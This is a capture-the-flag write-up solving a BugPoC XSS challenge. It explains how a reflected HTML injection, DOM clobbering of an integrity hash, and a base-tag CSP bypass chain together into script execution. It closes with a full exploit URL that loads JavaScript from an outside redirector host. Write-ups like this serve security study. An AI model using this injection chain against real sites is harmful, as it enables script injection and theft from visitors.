Recently, BugPoC announced a XSS challenge sponsored by Amazon on Twitter. It was really fun solving this challenge! :D

The rules are simple:

  • Must alert(origin) showing https://wacky.buggywebsite.com
  • Must bypass Content-Security-Policy (CSP)
  • Must work in latest version of Google Chrome
  • Must provide proof-of-concept exploit using BugPoC (duh!)

Although the XSS challenge started a week ago, I did not have time to work on the challenge. I attempted the challenge only 9 hours before it officially ended and came up with a good idea on how to craft the solution in about 15 minutes while reading the source code on phone :joy:

This challenge is fairly simple to solve, but it requires careful observation and a good understanding of the various techniques often used when performing XSS.

Introduction

Visiting the challenge site at https://wacky.buggywebsite.com/, we can see a wacky text generator. I started off by taking a quick look at the JavaScript code loaded by the webpage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome){
  document.body.innerHTML = `
    <h1>Website Only Available in Chrome</h1>
    <p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
  `;
}

document.getElementById("txt").onkeyup = function(){
  this.value = this.value.replace(/[&*<>%]/g, '');
};


document.getElementById('btn').onclick = function(){
  val = document.getElementById('txt').value;
  document.getElementById('theIframe').src = '/frame.html?param='+val;
};

We can see that &*<>% characters are being removed the user input in the <textarea>. On clicking on the Make Whacky! button, the page loads an iframe: /frame.html?param=, which looks interesting.

HTML Injection/Reflected XSS

There is a HTML Injection/Reflected XSS at wacky.buggywebsite.com/frame.html in the <title> tag via param GET parameter.

When visiting https://wacky.buggywebsite.com/frame.html?param=REFLECTED VALUE: </title><a></a><title>, the following HTML is returned in the response body:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>
      REFLECTED VALUE: </title><a></a><title>
    </title>
  ...
  <body>
    <section role="container">
      <div role="main">
        <p class="text" data-action="randomizr">REFLECTED VALUE: &lt;/title&gt;&lt;a&gt;&lt;/a&gt;&lt;title&gt;</p>
  ...

The user input supplied via the param GET parameter is being reflected twice in the response – the first is printed as-is (without any sanitization or encoding), and the second being HTML-entities encoded.

This indicates that it is possible to achieve arbitrary HTML injection (i.e. arbitrary HTML elements can be injected onto the webpage) via the param GET parameter using the first reflected param value.

Note: You need to inject </title> to end the title element. Browsers ignore any unescaped HTML elements within <title> and treats any value in <title>...</title> as text only, and will not render any HTML elements found within the title element.

However, Content-Security-Policy (CSP) header in the HTTP response is set to:

script-src 'nonce-zufpozmbvckj' 'strict-dynamic'; frame-src 'self'; object-src 'none';

Thescript-src CSP directive disallows inline scripts that do not have the nonce value. In other words, injecting reflected XSS payloads such as injecting a <script> tag directly to achieve JavaScript execution will not work as the CSP disallows executing inline scripts without the nonce value, so we need to exploit vulnerabilities in the existing JavaScript code loaded by the webpage in order to execute arbitrary JavaScript code.

Source Code Analysis

Let’s examine the JavaScript code loaded on /frame.html. The relevant code snippet is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
window.fileIntegrity = window.fileIntegrity || {
    'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
    'algorithm' : 'sha256',
    'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
    'creationtime' : 1602687229
}

// verify we are in an iframe
if (window.name == 'iframe') {
    
    // securely load the frame analytics code
    if (fileIntegrity.value) {
        
        // create a sandboxed iframe
        analyticsFrame = document.createElement('iframe');
        analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
        analyticsFrame.setAttribute('class', 'invisible');
        document.body.appendChild(analyticsFrame);

        // securely add the analytics code into iframe
        script = document.createElement('script');
        script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
        script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
        script.setAttribute('crossorigin', 'anonymous');
        analyticsFrame.contentDocument.body.appendChild(script);
        
    }

} else {
    document.body.innerHTML = `
    <h1>Error</h1>
    <h2>This page can only be viewed from an iframe.</h2>
    <video width="400" controls>
        <source src="movie.mp4" type="video/mp4">
    </video>`
}

DOM Clobbering

The line window.fileIntegrity = window.fileIntegrity || { ... } is vulnerable to DOM clobbering. It can be observed that fileIntegrity.value is subsequently being used as the subresource integrity (SRI) hash value. By injecting an element <input id=fileIntegrity value=hash_here> onto the webpage, it is possible to clobber the fileIntegrity reference with the DOM input node, making it reference the hash value specified in the <input> tag.

Weak Inline Frame Sandbox Restrictions

It can be seen that an iframe is first being created and inserted into the DOM. However, the sandbox policy is configured to allow-scripts allow-same-origin. The allow-scripts option allows JavaScript execution, and the allow-same-origin option allows the iframe context to be treated as from being the same origin as the parent frame, therefore bypassing same-origin policy (SOP) and keeping the origin wacky.buggywebsite.com.

CSP Bypass

The code below the iframe insertion into the DOM attempts to creates a <script> element which loads a JavaScript file using the relative path files/analytics/js/frame-analytics.js. Referencing the CSP header, it can be seen that the base-uri directive is missing. This means that we can inject a <base> element with href attribute set to the attacker’s domain onto the webpage, and when the script attempts to load the relative path files/analytics/js/frame-analytics.js, the file will be loaded from the attacker-controlled domain, therefore achieving arbitrary JavaScript execution!

X-Frame-Options (XFO) Same-origin Bypass

The X-Frame-Options header in the HTTP response is set to sameorigin. This means that we cannot use an external domain to frame wacky.buggywebsite.com/frame.html to satisfy the if (window.name == 'iframe') check.

There are two ways to resolve this issue:

  1. Lure the victim user to an attacker-controlled domain, set window.name and redirecting to the vulnerable page with the XSS payload.
  2. Use HTML injection vulnerability to inject an iframe to embed itself with XSS payload (i.e. frame-ception) :sunglasses:

Option (1) is not ideal in most cases since it imposes an additional requirement for a successful XSS attack on a victim user – having to lure the user to an untrusted domain.

As such, I went ahead with option (2). We can use the HTML injection vulnerability to inject an iframe element and set name attribute to iframe on the webpage to embed itself to satisfy the check within the iframe.

However, there is a caveat to using this approach – if the aforesaid check is not satisfied on the parent frame, then the document.body.innerHTML = ... in the else statement will be executed, thereby replacing the DOM. This may cancel the loading of the iframe and hence ‘preventing’ the XSS attack from succeeding on some systems, making it an unreliable XSS attack.

To address this caveat, we can inject the start of a HTML comment <!-- without closing it with --> in the parent frame after the injected HTML elements to cause the browser to treat the rest of the webpage response as a HTML comment, hence ignoring all inline JavaScript code loaded in the remaining of the webpage.

Simulating the Attack

Before we can craft the whole exploit chain, we need to have a attacker domain hosting the XSS payload served in a JavaScript file.

To do so, we can use BugPoC’s Mock Endpoint Builder and setting it to:

Status Code: 200
Response Headers:
{
  "Content-Type": "text/javascript",
  "Access-Control-Allow-Origin": "*"
}

Response Body:
top.alert(origin)

Then, use Flexible Redirector to generate a shorter and nicer URL for the Mock Endpoint URL to be used in our exploit.

In the response header serving the XSS payload, we also need to add Access-Control-Allow-Origin: * to relax Cross-Origin Resource Sharing (CORS) since the JavaScript resource file is loaded via a cross-origin request.

Note: One thing I did not mention earlier was that because the iframe sandbox policy did not have allow-modals attribute, we cannot call alert(origin) directly in the iframe. We can simply call top.alert(origin) or parent.alert(origin) to trigger alert on the parent frame to complete the challenge.

Chaining Everything Together

Now, it’s finally time to chain everything together and exploit this XSS!

Attacker Domain Hosting XSS Payload JavaScript File:
https://y5152648ynov.redir.bugpoc.ninja

XSS Payload:
top.alert(origin)

SHA-256 Subresource Integrity Hash of XSS Payload JavaScript File:

$ openssl dgst -sha256 -binary <(printf 'top.alert(origin)') | openssl base64 -A
nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU=

Inner Frame URL (HTML Injection + CSP Bypass + DOM Clobbering + Trigger XSS):

/frame.html?param=</title><base href="https://y5152648ynov.redir.bugpoc.ninja"><input id=fileIntegrity name=value value='nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU='><title>

Outer Frame URL (HTML Injection + Load Inner Frame + Comment Out Rest of Webpage):

https://wacky.buggywebsite.com/frame.html?param=</title><iframe src="/frame.html?param=[url-encoded inner frame's param value]" name="iframe"></iframe><!--

Solution

Here’s the final solution to achieve XSS on the domain:

https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Ciframe%20src=%22/frame.html?param=%253C%2Ftitle%253E%253Cbase%2520href%3D%2522https%3A%2F%2Fy5152648ynov%2Eredir%2Ebugpoc%2Eninja%2522%253E%253Cinput%2520id%3DfileIntegrity%2520name%3Dvalue%2520value%3D%2527nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU%3D%2527%253E%253Ctitle%253E%22%20name=%22iframe%22%3E%3C/iframe%3E%3C!--

XSS Proof-of-Concept